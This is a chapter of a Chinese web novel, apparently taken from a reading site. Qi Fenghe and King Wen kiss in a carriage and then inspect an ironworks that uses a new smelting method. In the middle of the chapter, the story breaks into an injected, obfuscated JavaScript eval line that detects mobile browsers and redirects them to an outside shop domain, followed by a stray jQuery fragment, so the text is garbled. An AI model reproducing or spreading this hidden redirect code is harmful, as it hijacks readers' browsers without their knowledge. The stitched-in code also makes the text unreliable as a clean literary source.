两处柔软相贴,温王呼吸瞬间止住,心脏似乎漏跳了一拍。
柔软温热的触感自唇上传来,似有酥酥麻麻的电流划过,温行抱着齐风禾的手僵住,挺直的腰渐渐往后靠。
此处荒野,路途颠簸,马车摇晃,温行靠着车厢,不知不觉松了身体。
摇晃的马车令他的身体也跟着颠簸,相贴处亦又偏离,偏离又重合,反倒带起另一种别样触觉。
齐风禾将温王的鬼面压在他的头上,面具遮挡光线,两人双脸皆隐于黑暗中,齐风禾眨了眨她黑白分明的眼,似欲从中窥见温王面容。
昏暗光线下,只见其模糊轮廓,瞧不清全貌。
齐风禾抬眼上望,瞧不清,又将面具上推了些,依旧瞧不清。
她露出尖牙,朝温王咬了咬,轻轻地,黑暗中,似乎看见他扑闪的眼睫。
先前说过,齐风禾好面,不会于人前做出失态之事,亦不会令温王失面,因此,在咬上温王耳垂时,方才会轻易放过,因为待会儿要去见人。
可是,温王见人常戴面具,今日也不例外。
如此便是说,今日,就是齐风禾将他的嘴唇咬烂了、咬出血了,也不会有外人瞧见。
那么,她便不客气了。
她浅浅笑起,无辜天真,温王目力好,恰于面具下见此笑容。
他的身体瞬间僵住。
下一刻,深深闭上眼。
疼痛如约从唇上传来,伴随其中的,是另一种隐秘的快感,温行紧闭着眼,抓住齐风禾的衣物,将其抓皱,却未伤她分毫。
唇间溢出铁腥味,齐风禾将其舔干净,缓缓从面具下推出,重新将其扣于温王面上,趴于他的胸口,听他急促的心跳声。
一下,两下,三下,咚、咚、咚……
温王面上难有表情,但他的身体会如实反应他的情绪,齐风禾听着,竟觉得安心。
温王急促有力的心跳似一安眠曲,齐风禾侧耳听着,竟困倦起来。
自开始上早朝后,齐风禾便没有几天是可以睡到自然新的,夜间处理政务,睡得也迟,这一核算下来,她便没有那几天是正常作息的。
如此下去,恐会损伤身体,齐风禾想了想,她应当吃点补药,好弥补些身体的亏空,若不然,用不了多久,她便要同前世般英年早逝。
她如此想着,脑中闪过各种药物名称,眼皮确沉重起来。
“王,姎睡片刻,待到时,再将姎唤醒。”
她实在不想抵抗,便任由困意上涌,自己睡了过去。
齐风禾绵长的呼吸声与温王的喘息交叠于一起,车内安静,车外车轴滚动。
过了许久,待温行从那异样感觉中走出时,方才轻应一声“嗯”,可此时齐风禾早已睡过去。
马车一路向前,走过一段又一路,两人皆安静无声。
不知过去多久,温行望着窗外景色,扭头,推了推睡得正香的齐风禾。
“妻,已到。”
温王推齐风禾推得并不用力,但她睡得浅,还是醒了过来。刚睡醒的她意识还未回拢,一脸茫然地看着温王。
过了片刻,她揉揉眼,意识清醒。
“到了?”
“嗯。”
齐风禾是趴在温王身上睡的,脸贴胸口,一路颠簸,齐风禾就是有温王抱着,面前的头发也乱了些。
温王撩起她挡在面前的乱发,将其别于耳后。
“离矿脉任由一段路途,吾先为妻整理仪容。”
一听到这话,齐风禾瞬间清醒了,她将腰板挺直,面朝着温王。
齐风禾的头发乱得不是很严重,稍稍整理,便与之前无差,而整理完,马车也到了目的地。
齐风禾前来探查,是临时起意,没有提前通知,矿脉中的守卫见他俩时,稍有惊异,但温王特征着实明显,身后又跟着不少侍卫,稍一对接,便可确认身份。
他们来得突然,专项研究部的人听到他们到来的消息,便急急忙忙放下手里的活,赶来见他们。
“姎只是来了解下新冶铁术的情况,不必停工,正常做。”
得知是为了新冶铁法来的,负责这项研究的官员便带着他俩前去参观。
冶铁需火,整个工作环境是否燥热,刚走进,齐风禾便觉有热浪扑面,隐隐可见滚动的热浪。
这让她下意识地想起前世夏天的操场,在毫无遮掩操场上,热浪滚滚仅是个形容词,而非是比喻或夸张。
因为此处炽热,在这里工作的匠人大多赤膊,就是如此,身上也净是汗水,面上红热。
“此处工作辛苦。”
齐风禾盯着工作的匠人瞧了几眼,方才言道。
“此为我等分内之事。”
负责官员于一旁接道。
齐风禾没有再说话,而是继续往里边走。越是往里,便越是灼热,齐风禾穿得本就不少,如今更是热出汗了。
她想把衣服脱掉,但是,要脸,便忍着灼热,继续往里边走。
“此处可有人热昏过?”
“有过。”
“数量多少?”
“若是新人,隔三差五,便有一例,老人则少许多。”
在路途中,齐风禾同负责官员聊着,聊着聊着,便到了目的地。
“此便是我等新出之法。”
因为齐风禾的命令,这些人不用朝他们行礼,一直都在做着手头的工作。
新冶铁法出来后,他们此处矿脉便将原有的方法更换,如今使用的,都是新出的方法。
负责官员在一旁,一一为齐风禾介绍着。
这个专项研究部是齐风禾建立的,从人员的挑选到新方法研究的方向,齐风禾都有参与,可以说,她是他们的顶头上司。
因此,就是温王进来后,一言不发,官员也没有询问他意见的意思,他只要跟齐风禾交代好便可,剩余的,便不由他操心。
齐风禾对冶铁方面的知识实在浅薄,对于它的认识,还停留在高中化学课本上的简述。
那时课本上对那冶铁法画有流程图,中学时代的齐风禾着实无聊,她是住校生,无对外通信设备,也没有娱乐设施,那时面对一打打的课本文字,但凡其中又一张图片,她会当成宝贝,要反复观看。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057076|139914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的记忆力虽不如溪那么好,可也不差,如此看着,竟把那张图给背了下来,她后来成立专项研究部,便将那张图画下,交与他们,置于如何落实,便是他们的需要思考的。
课本上的图片变成实物,立于她面前,齐风禾瞧着,竟有些恍惚。
负责官员对新冶铁法十分自豪与骄傲,他表达欲足,十分热情地同齐风禾介绍。
齐风禾不同此术,但她对此也抱有很大的期待,便十分耐心地听他讲解。
官员在介绍新法产率时,十分自豪地报出了一个数。
齐风禾在心中对比一下,发现这个数已经十分接近前世无科技设备支持的生铁产率。
她欣喜,好不吝啬自己的赞扬,将整个铁矿的匠人及参与者都夸奖了一遍。
由于此处实在是热,将冶铁流程都观看一遍后,齐风禾和温王便离开了此处。
因为路途遥远,他们便没有过多逗留,再将这里又逛了一圈后,便赶回王都。
一上马车,齐风禾便立即将外衣脱下。
稍有些厚的外衣被她丢在一旁,整个人像条死鱼一样瘫在车中的小榻上。
冶铁处着实热,温王也解了衣袍,取下面具,以鬼面作扇,未齐风禾扇风。
一见有凉风,齐风禾便即刻凑过去,但并没有与温王相触。
“王,冶铁处好热啊!”
齐风禾拿袖子擦着脸,却发现袖子也湿了,她又翻了翻被丢到一旁的外袍,从里边掏出一块锦帕。
“嗯。”
温王认同。
温王未齐风禾扇风,齐风禾凉快了,温王却还热着,汗珠从鬓边凝聚一路下滑,流过面颊、颈间,最后没入衣襟内。
齐风禾拿锦帕擦脸,余光瞥见温王模样,又勾了勾被丢远的外袍,掏了掏,又从里边掏出一块。
她躺于小榻上,伸直手,去擦温王脸上的汗水。温王折腰,朝她靠近。
温王肤色原本苍白,如今烦热,面上闷出了些粉红,从皮肤下透出,如鲜花般自然艳丽。
齐风禾愣了片刻,目光有些呆滞,手于半空中长举,过了片刻,手才再次动作,只是目光不再有神。
齐风禾机械地为温王擦着汗,在温王的扇风下,粉红的面色非但没有消去,反而愈发红起。
马车在快速奔跑着,窗外也有风吹进来,此时天气尚未炎热,里了冶铁处,烦热也便很快降下。
温王脸上的汗水已然擦干,可身上衣物仍旧湿着,贴着衣体。
齐风禾瞧了片刻,眼神逐渐清明,目光逐渐上移。
她依旧躺着,一双黑白分明的眼眸只勾勾地看着温王。
温王粉红面色仍未完全消退,仍可从中瞧出些许痕迹。与粉红相应的,是他那红肿的嘴唇,才于不久前,被齐风禾咬过。
许是她的目光太直接,温王将首偏过,但下一刻,便又被齐风禾的声音唤回来。
“王。”
齐风禾轻轻唤了一声,温王转头,朝她看来。
躺着的齐风禾笑容清澈,抬起手,指了指自己的嘴唇。
“亲姎一下。”